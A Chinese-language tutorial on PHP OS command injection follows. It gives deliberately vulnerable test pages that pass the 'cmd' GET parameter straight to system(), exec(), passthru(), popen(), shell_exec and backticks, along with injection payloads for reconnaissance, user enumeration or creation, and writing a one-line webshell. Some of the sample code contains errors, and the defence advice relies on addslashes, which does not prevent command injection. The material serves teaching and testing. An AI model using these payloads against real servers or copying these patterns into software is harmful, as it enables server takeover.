目录
- 1 OS命令注入概述
- 2 常见可注入函数及利用方法
- 2.1 system()函数
- 2.2 exec()函数
- 2.3 passthru()函数
- 2.4 popen()函数
- 2.5 shell_exec及反引号结构
- 3 防御
- 4 总结
1 OS命令注入概述
- 背景:程序员使用脚本语言(如PHP等)开发应用程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题,比如速度慢、无法触及系统底层等。开发的应用时,特殊是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件),当应用需要调用一些外部程序时就会用到一些系统命令的函数。
- OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。
- 条件:
- 程序中含有可以执行OS命令的函数或语言结构;
- 传入该函数或语言结构的参数是客户端可以控制的(可以直接修改或造成影响)。
- 漏洞危害:
- 继承Web服务器程序权限(Web用户权限)去执行系统命令;
- 继承Web服务器程序权限(Web用户权限)去读写文件;
- 反弹shell。通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
- 控制整个网站 ;
- 控制整个服务器。
2 常见可注入函数及利用方法
2.1 system()函数
- 作用:该函数能够将字符串作为OS命令执行,自带输出功能。
- 原型:
string system ( string $command [, int &$return_var ] )
。 - 危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
- 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
echo"<pre>";
system($_GET['cmd']);
}else{
echo"?cmd=ipconfig";
}
?>
- 在客户端我们访问该网页时带入如下参数以利用漏洞,网页将执行构造的语句返回系统信息(以下函数也是如此)。注入语句应与靶机系统相适应。
?cmd=ipconfig //将返回IP配置信息
?cmd=cd //查看当前目录
?cmd=systeminfo //返回系统信息
?cmd=whoami //
?cmd=net user //查看或新增用户等
?cmd=dir //将返回文件信息
?cmd=ping www.baidu.com //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts //查看系统文件
?cmd=echo"<?php phpinfo();?>">路径 //写入文件,可写入一句话木马等
2.2 exec()函数
- 作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令。
- 原型:
string exec ( string $command [, array &$output [, int &$return_var ]] )
。 - 危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
- 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
echo"<pre>";
print exec($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>
2.3 passthru()函数
- 作用:执行外部程序并且显示原始输出。
- 原型:
void passthru ( string $command [, int &$return_var ] )
- 危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
- 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
echo"<pre>";
passture($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>
2.4 popen()函数
- 作用:该函数能执行OS命令,返回的是一个文件指针。无论返回什么,我们关心的是命令被执行了。
- 特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。
- 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
echo"<pre>";
popen($_GET['cmd'],'r');
}else{
echo"?cmd=whoami";
}
?>
- 在客户端我们访问该网页时带入如下参数,网页将执行构造的语句并在同目录下生成文件(如已有该文件则追加内容)。
?cmd=ipconfig >>1.txt //将返回IP配置信息
?cmd=systeminfo >>1.txt //返回系统信息
?cmd=whoami >>1.txt //
?cmd=net user >>1.txt //查看或新增用户等
?cmd=dir >>1.txt //将返回文件信息
?cmd=ping www.baidu.com >>1.txt //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
2.5 shell_exec及反引号结构
- 作用:反引号内的字符串也会被解析成OS命令执行,同时回显执行结果。
- 注意:
- 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
- 与其它某些语言不同,反引号不能在双引号字符串中使用。
- 测试代码如下:
<meta charset='gb2312'>
//采用shell_exec函数
<?php
if (isset($_GET['cmd'])){
echo"<pre>";
shell_exec($_GET['cmd']);
}else{
echo"?cmd=ipconfig";
}
?>
//采用反引号
<?php
if (isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print(`$cmd`);
}else{
echo"?cmd=whoami";
}
?>
3 防御
- 尽量减少命令执行海曙的使用,并在disable_functions中禁用;
- 在进入命令执行函数或方法前,应对参数进行过滤;
- 参数的值尽量使用引号进行包裹,并在拼接调用前调用addslashes进行转义。
4 总结
- 了解可能引起OS命令注入的函数;
- 掌握这些函数的使用方法;
- 了解常用的防御方法。